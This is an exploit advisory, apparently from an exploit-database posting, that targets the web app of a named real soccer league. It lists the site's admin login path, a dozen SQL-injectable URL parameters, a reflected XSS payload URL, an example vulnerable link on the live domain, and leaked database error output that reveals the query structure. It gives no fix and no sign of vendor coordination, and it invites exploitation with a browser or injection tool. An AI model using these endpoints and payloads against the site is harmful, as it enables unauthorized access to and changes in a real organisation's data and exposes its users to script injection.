###################################################################
# Exploit Title : Burlington Soccer League XSS SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 21/08/2019
# Vendor Homepage : burlingtonsoccerleague.ca
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-79 [ Improper Neutralization of Input During
Web Page Generation ('Cross-site Scripting') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
###################################################################
# Impact :
***********
Burlington Soccer League is prone to an SQL-injection vulnerability because it fails
to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting
this issue could allow an attacker to compromise the application, access or modify
data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.
Reflected XSS (or Non-Persistent) :
***************************************
The server reads data directly from the HTTP request and reflects it back in the
HTTP response. Reflected XSS exploits occur when an
attacker causes a victim to supply dangerous content to a vulnerable web application,
which is then reflected back to the victim and executed by the web browser. The most common
mechanism for delivering malicious content is to include it as a parameter in a URL that is
posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
the content is executed by the victim's browser.
###################################################################
# Admin Panel Login Path :
**************************
/BSLApp/LoginForm.php
# SQL Injection Exploit :
**********************
/BSLApp/Scorers.php?TeamID=[SQL Injection]
/BSLApp/Scorers.php?TeamID=[ID-NUMBER]&TeamName=[SQL Injection]
/BSLApp/DiscHearings.php?FormType=Hearings&SeasonID=[SQL Injection]
/BSLApp/MatchListForm.php?TeamID=[SQL Injection]
/BSLApp/MatchListForm.php?TeamID=[SQL Injection]&TeamName=MCM
/BSLApp/Standings.php?DivisionID=[SQL Injection]
/BSLApp/DiscTeam.php?TeamID=[SQL Injection]&TeamName=Hammer%20FC
/BSLApp/CardList.php?TeamID=[SQL Injection]&TeamName=A
/BSLApp/DiscTeam.php?TeamID=[SQL Injection]&TeamName=Kopites
/Facelift/BSLApp/RosterListForm.php?TeamID=[SQL Injection]&TeamName=A
/Facelift/BSLApp/RosterListForm.php?TeamID=[SQL Injection]
/BSLApp/CardList.php?TeamID=[SQL Injection]&TeamName=A
# Cross Site Scripting XSS Exploit :
********************************
/BSLApp/Scorers.php?TeamID=1%27%3Cmarquee%3E%3Cfont%20color=
lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E
###################################################################
# Example Vulnerable Sites :
*************************
[+] burlingtonsoccerleague.ca/BSLApp/Scorers.php?TeamID=1%27
###################################################################
# Example SQL Database Error :
****************************
ERROR: You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '' and M.DivisionID =
(select min(D.DivisionID) from Divisions D, Le' at line 10 SELECT S.PlayerID,
count(*) Goals, max(FirstName) FirstName, max(LastName) LastName FROM
Scorers S, Matches M, Players P, Teams T WHERE M.MatchID = S.MatchID and
P.PlayerID = S.PlayerID and T.TeamID = S.TeamID and T.TeamID
= 1' and M.DivisionID = (select min(D.DivisionID) from Divisions D, Leagues
L where D.DivisionID = L.DivisionID and IsACupBoolean = 0 and IsPrimary = 1
and L.TeamID = 1' and D.SeasonID = 2019) and M.IsAnExhibition = 0
GROUP BY S.PlayerID order by 2 desc, 4
ERROR: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near '' order by HearingDate asc' at line 3 SELECT DiscHearingID FROM
DiscHearings DH where HearingDate >= "2019-08-20" and SeasonID
= 2019' order by HearingDate asc
###################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###################################################################